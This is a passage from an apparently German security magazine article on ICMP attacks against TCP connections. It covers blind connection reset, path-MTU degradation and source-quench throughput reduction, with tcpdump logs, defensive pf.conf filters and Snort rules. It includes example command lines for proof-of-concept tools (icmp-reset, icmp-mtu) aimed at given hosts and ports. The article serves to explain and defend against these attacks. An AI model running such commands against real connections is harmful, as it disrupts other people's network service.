  [tcp sum ok] ack 69581 win 16384 (DF) (ttl 127, id 65789)

10.239.5.41:22 > 10.239.7.27.1058: . §
  23705:25185(1480) ack 0 win 5840 (DF) (ttl 64, id 87436)

10.239.7.27.1058 > 10.239.5.41:22: . §
  [tcp sum ok] ack 71001 win 16384 (DF) (ttl 127, id 78413)

10.239.5.41:22 > 10.239.7.27.1058: . §
  25185:26665(1480) ack 0 win 5840 (DF) (ttl 64, id 98127)

10.0.0.1 > 192.168.0.1: icmp: §
  10.0.0.1 unreachable - need to frag (mtu 512) (ttl 234, id 65896)

10.239.5.41:22 > 10.239.7.27.1058: . §
  83848:84320(472) ack 0 win 5840 (DF) (ttl 64, id 56897)

10.239.5.41:22 > 10.239.7.27.1058: . §
  84320:84792(472) ack 0 win 5840 (DF) (ttl 64, id 77884)

10.239.5.41:22 > 10.239.7.27.1058: . §
  84792:85264(472) ack 0 win 5840 (DF) (ttl 64, id 45902)

10.239.5.41:22 > 10.239.7.27.1058: . §
  85264:85736(472) ack 0 win 5840 (DF) (ttl 64, id 98542)

10.0.0.1 > 192.168.0.1: icmp: §
  10.0.0.1 unreachable - need to frag (mtu 512) (ttl 234, id 62154)

10.239.5.41:22 > 10.239.7.27.1058: . §
  81004:81476(472) ack 0 win 5840 (DF) (ttl 64, id 67554)

10.239.5.41:22 > 10.239.7.27.1058: . §
  81476:81948(472) ack 0 win 5840 (DF) (ttl 64, id 44688)

10.239.5.41:22 > 10.239.7.27.1058: . §
  81948:82420(472) ack 0 win 5840 (DF) (ttl 64, id 87327)

10.239.5.41:22 > 10.239.7.27.1058: . §
  82420:82892(472) ack 0 win 5840 (DF) (ttl 64, id 65876)
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zurückgesetzt. Der Angreifer braucht 
nur die IP-Adresse und den Port 
an einem der beteiligten Hosts zu 
kennen. Für viele TCP-Verbindun-
gen sind diese Werte gut bekannt, 
beispielsweise für BGP oder DNS-
Zonenübertragungen.

Wenn ein Host eine ICMP-Nach-
richt vom Typ 3 Code 2, 3 oder 4 emp-
fängt, bricht er die Verbindung sofort 
ab, weil die TCP-Erholungsfunktion 
für diese Fehler nach der RFC 1122 
als hard error gilt. Eines von Fernan-
dos proof of concept Tools kann mit 
einem Beispiel dienen:

# icmp-reset \

  -c 192.168.1.4:3000-4000 \

  -s 10.10.189.73:80 \

  -t client -r 128

Wenn das Verhalten des Clients 
bekannt ist, können wir einen Be-
reich von Quellports angeben. Das 
Tool unterstützt alle Ports aus dem 
Bereich 0–65535. Für das obige 
Beispiel muss man nur 1000 Pakete 
verschicken. Nachdem der Zyklus 
abgeschlossen ist, startet das Tool 
erneut bei Port 3000, wenn der Cli-
ent die Verbindung also direkt nach 
dem Abbruch neu aufbaut, wird sie 
immer wieder zurückgesetzt.

Die Anwendung wurde an ei-
nem Netzwerkgerät getestet, das 
Dateien von einem Webserver 

herunterlädt. Die Option-c steht für 
den Client (IP:src port), -s für den 
Server (IP:dst port), -t gibt das Ziel 
an, das die Verbindung zurücksetzt 
(Client oder Server) und -r steht 
für rate und schränkt die für den 
Angriff beanspruchte Bandbreite 
(in kbps) ein. Normalerweise sind 
alle anderen Felder auf Standard-
werte eingestellt und ICMP-Nach-
richten vom Typ 3 Code 2 werden 
verschickt. Listing 9 stellt die 
tcpdump-Ausgabe dar. Der Client 
bricht die Verbindung daraufhin ab 
und schickt ein RST-Paket an den 
Webserver (siehe Listing 10).

Das Tool wurde an einigen 
Microsoft-PCs getestet (mehr In-
formationen zu diesem Leck finden 
Sie im Microsoft Security Bulletin 
MS05-019 (893066)). Auf einem 
Windows Server 2003 Enterprise 
Edition Rechner ohne die entspre-
chende Korrektur hat das Tool eine 
Verbindung mit einem Putty-Client 
abgebrochen, wie Abbildung 9 zeigt. 
In Listing 11 stehen Details zum Ab-
lauf des Angriffs.

Blind Performance Degrading
Dieser Angriff reduziert die Netz-
werkleistung während einer TCP-
Verbindung. Der Host glaubt, dass 
seine Pakete größer als die zuläs-
sige PMTU sind. Die erzwungene 
Segmentierung beeinträchtigt das 
Durchsatzvermögen und lastet die 
CPU stärker aus. Dieselbe Über-
tragungsrate benötigt mehr Pakete 
(weil die TCP-Pakete kleiner als 

Korrekte ICMP-Filterung
Viele Dokumentationen empfehlen, alle ICMP-Pakete zu sperren. Eigentlich kann 
eine korrekte ICMP-Konfiguration ein effizientes Arbeiten des ganzen Netzwerks 
gewährleisten, eine korrekte Überwachung der Dienste unterstützen und uns bei 
der Problembeseitigung helfen. Daher empfiehlt es sich:

•  einen Antispoofingfilter einzurichten und mit der Quelle/dem Ziel der Pakete 
streng umzugehen;

•  zustandsbehaftete Filterung zu aktivieren;
•  ein- und ausgehende ICMP Unreachable, ICMP Unreachable Need to Fragment 

(verwendet von Path MTU zum Ermitteln des optimalen MTU-Werts) und ICMP 
Time Exceeded in Transit (TTL expired in transit bei traceroute unter *NIX und 
tracert unter Windows; unter *NIX verwendet traceroute auch einen hohen 
UDP-Port; die Nachricht ist auch wichtig, wenn Routingschleifen vorkommen) 
durchzulassen;

•  ausgehende ICMP Echo Request von internen Hosts durchzulassen;
•  ICMP-Rateneinschränkung womöglich einzusetzen, um Konsequenzen von 

ICMP-Flooding zu mindern (eine Technologie namens Committed Access Rate 
(CAR) ermöglicht diese Art der Filterung).

Alle anderen ICMP-Pakete sollten gesperrt werden.

Listing 13. Der ICMP-bezogene Abschnitt der pf.conf-Datei auf dem PC des Autors

ext_if = "ne1"

prv_if = "ne2"

srv_mail ="192.168.1.5/32"

my_bsd ="192.168.1.4/32"

(...)

# Block all inbound TCP requests on port 133, sending back ICMP unreachable

block return-icmp in quick on $ext_if proto tcp from any to $srv_mail port auth 
# Let the admin bsd machine ping

pass in on $prv_if inet proto icmp from $my_bsd to any icmp-type 8 code 0 keep state
pass out on $ext_if inet proto icmp from $my_bsd to any icmp-type 8 code 0 keep state

# Let the admin bsd machine receive time to live exceeded in transit and udp port unreachable

pass in on $ext_if inet proto icmp from any to $my_bsd icmp-type 11 keep state
pass out on $prv_if inet proto icmp from $my_bsd to any icmp-type 11 keep state

pass in on $ext_if inet proto icmp from any to $my_bsd icmp-type 3 code 3 keep state
pass out on $prv_if inet proto icmp from $my_bsd to any icmp-type 3 code 3 keep state
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optimal sind) und die erhöhte Paket-
zahl trägt zur erhöhten CPU-Auslas-
tung bei.

Wenn ein Host eine ICMP-
Nachricht vom Typ 4 Code 0 erhält, 
muss er die Senderate herabsetzen. 
Dadurch kann ein Angreifer den 
Durchsatz auf der Übertragungsrou-
te beeinträchtigen.
Ein Beispiel:

# icmp-mtu \

  -c 10.239.7.27:1040-1060 \

  -s 10.239.5.41:22 \

  -t server -r 56 \

  -D 300 -m 512

Die Option -D 300 bedeutet 300 Se-
kunden Pause vor der nächsten Run-
de und -m 512 setzt die Path MTU auf 
512 Bytes (standardmäßig wird sie 
auf 68 Bytes, den kleinstmöglichen 
Wert, eingestellt). Eine tcpdump-
Aufzeichnung der Übertragung steht 
in Listing 12.

Blind Throughput 
Reduction
Dieser Angriffstyp verlangsamt die 
TCP-Verbindung entweder quell- oder 
zielseitig. Der Angreifer muss nur die 
IP-Adresse und die Portnummer der 
Quelle bzw. des Ziels kennen. Wenn 
ein Host eine ICMP-Nachricht vom 
Typ 4 Code 0 empfängt, muss er die 
Senderate reduzieren. Somit kann 
der Angreifer den Durchsatz auf dem 
Pfad herabsetzen.

Normalerweise gibt der Client ein 
Fenster von X Bytes bekannt. Das 
heißt, dass er über einen Pufferspei-
cher für X Datenbytes verfügt (TCP 
Flow Control). Nach dem Dreiwege-
handshake beginnt eine TCP-Ver-
bindung im sogenannten langsamen 
Start-Modus, bei dem TCP die 
Übertragungsrate anhand der Be-
stätigungempfangsrate vom anderen 
Host anpasst. TCP-langsamer Start 
ist mittels der zwei Variablen cwnd 
(Congestion Window) und ssthresh 
(Slow Start Threshold) implemen-
tiert. Das cwnd ist eine senderseitige 
selbst auferlegte Einschränkung des 
Übertragungsfensters; es steigt an, 
indem sich TCP an die Behandlung 
vom Verkehr ohne größere Proble-

me gewöhnt. Das ssthresh legt die 
Übertragungsgeschwindigkeit fest, 
bei der TCP die langsamer Start-
Phase verlässt.

Wenn cwnd den Wert von ss-
thresh überschreitet, verlässt die 

TCP-Sitzung die langsamer Start-
Phase in diese Richtung. Nach we-
nigen Übertragungen in die eine und 
in die andere Richtung überschreitet 
cwnd den sshthresh-Wert und die 
Sitzung gilt als nicht mehr in der 

Im Internet
•  http://www.sans.org/rr 

– SANS-Leseraum,
•  http://sourceforge.net/projects/sing 

– das SING tool,
•  http://www.gont.com.ar 

– ICMP gegen TCP Angriffstools,
•  http://www.microsoft.com/technet/security/bulletin/MS05-019.mspx 
•  http://www.tcpipguide.com/free/t_ICMPOverviewHistoryVersionsandStandards.

htm 
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Snort ICMP-Regeln
Mit Snort werden die icmp-info.rules und die icmp.rules Dateien mitgeliefert. Ihre 
Untersuchung gibt uns eine gute Übersicht über die Missbrauchsmöglichkeiten von 
ICMP. Sehen wir uns eine der Signaturen aus icmp-info.rules an:

alert icmp $EXTERNAL_NET any -> §
  $HOME_NET any (msg:”ICMP PING”; icode:0; itype:8; §
  classtype:misc-activity; sid:384; rev:5;)

Das bedeutet: Gibt mir einfach mit einer ICMP-Ping Nachricht Bescheid, wenn je-
mand von außen einen Host in meinem Netzwerk zu pingen versucht, oder

alert icmp $EXTERNAL_NET any -> §
  $HOME_NET any (msg:”ICMP redirect host”; icode:1; itype:5; §
  reference:arachnids,135; reference:cve,1999-0265; §
  classtype:bad-unknown; sid:472; rev:4;)

Das bedeutet: Gib mir mit einer ICMP redirect host Nachricht Bescheid, wenn je-
mand von außen das Host-Routing in meinem Netzwerk zu modifizieren versucht. 
In diesem Nachrichtentyp erhalten wir auch eine Referenz, wenn eine vorhanden ist, 
beispielsweise die typischen Risikopunkte.
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langsamer Start-Phase befindlich, 
die TCP-Verbindung hat also den 
Optimalzustand erreicht, bei dem 
cwnd ungefähr der Leitungskapazität 
entspricht. Von nun an bewegt sich 
das Staufenster linear.

Eine ICMP source quench Nach-
richt versetzt die Verbindung immer 
wieder in die langsamer Start-Phase 
und der Server schickt jeweils nur 
ein Segment auf einmal, so dass der 
Verbindungsdurchsatz auf ein Paket 
pro RTT (Round Trip Time) herabge-
setzt wird. Ein Beispiel eines solchen 
Angriffs ist auf Fernando Gonts 
Website (siehe Kasten Im Internet) 
zu finden.

Abwehr gegen ICMP-
Angriffe
Das Problem mit der ICMP-Be-
handlung ist, dass eine zustands-
behaftete Filterung erforderlich ist. 
ICMP ist nicht zustandsorientiert 
wie UDP, also ist es schwierig, 
eine Verbindung mit ICMP-Reakti-
onen auf dauerhafte Probleme zu 
verfolgen. Während request/reply-
Nachrichten einfach zu behandeln 
sind, weil wir es mit einer Anfrage 
und einer Reaktion zu tun haben, 
ist das der einzige Fall, wo ICMP 
als zustandsbehaftet bezeichnet 
werden könnte.

Die meisten ICMP-Abwehr-
maßnahmen werden im Umkreis 
ergriffen. Beispielsweise stellen Cis-
co-Router den no ip unreachables 
Befehl bereit, der den Router veran-
lasst, keine ICMP-Nachrichten vom 
Typ 3 zu verschicken, wenn ein Host 
nicht erreicht werden kann. Weiterhin 
gibt es das no ip directed-broadcast 
Kommando, das den Verkehr auf 
Broadcast-Adressen (beispielsweise 
den Smurf-Angriff) meidet und das 
no ip source-routing, das Source-
Routing deaktiviert. Allerdings fehlt 
ein no ip redirects, mit dem man bös-
artige Pfadmodifikationen verhindern 
könnte. ICMP redirect Nachrichten 
sollten mit einem entsprechenden 
Filter mit Eingangsfilterung an Rou-
tern gesperrt werden, während frag-
mentation required nur zugelassen 
werden sollten, um Fragmentierung 
zu vermeiden.

Die verwendete Firewall sollte 
ICMP-Pakete unterstützen und die 
Vorgabe einzelner Typen und Codes 
erlauben. Die Nutzer des Paketfilters 
von OpenBSD sehen in Listing 13, 
wie Schutz gegen ICMP-Angriffe in 
PF implementiert werden kann. Open-
BSD ist eine gute Wahl, nicht nur weil 
es eine beeindruckende Sicherheits-
geschichte mitbringt, sondern auch 
weil es ICMP-Pakete zustandsorien-
tiert filtern kann, Fehlermeldung mit 
den jeweiligen TCP- und UDP-Ver-
bindungen assoziiert (die keep state 
Option) und das erste Betriebssystem 
war, dass einen kompletten Satz von 
Gegenmaßnahmen gegen ICMP-ge-
stützte Angriffe implementiert hat.

Auch ein Einbruchdetektions-
system sollte eingerichtet werden 
und nach anormaler ICMP-Aktivität 
Ausschau halten. Snort (siehe Kas-
ten Snort ICMP-Regeln) verfügt 
über Signaturdateien für potenziell 
gefährlichen ICMP-Verkehr. Mit 
diesen Signaturen kann man die 
meisten Scanning-Tools sowie 
ICMP-Missbrauch wie redirect host 
erkennen.

Bevor wir einen ICMP-Schutz 
implementieren und fast den gesam-
ten ICMP-Verkehr verwerfen, sollten 
wir uns schließlich überlegen, ob es 
wirklich die Mühe wert ist. Während 
eine niedrigere Sicherheitsstufe 
Eindringlingen eine schnellere Netz-
werkerkundung vor einem Angriff 
ermöglicht, funktionieren bestimmte 
Dienste reibungsloser (beispielswei-
se kann man mit dem Ausgeben von 
destination unreachable am TCP-
Port 113 sendmail-Verbindungen 
schneller beenden, ohne dass das 
Programm auf Timeouts zu warten 
braucht).

Sich gegen ICMP-Angriffe 
zu schützen ist nicht schwierig 
und obwohl ICMP als ein relativ 
harmloses Protokoll im Sinne poten-
zieller Sicherheitslücken gilt, kann 
das Netzwerk unter mangelnden ad-
äquaten Schutzmaßnahmen leiden. 
Nehmen Sie das Problem also ernst 
und stellen Sie sicher, die erforderli-
chen Maßnahmen zu ergreifen. l


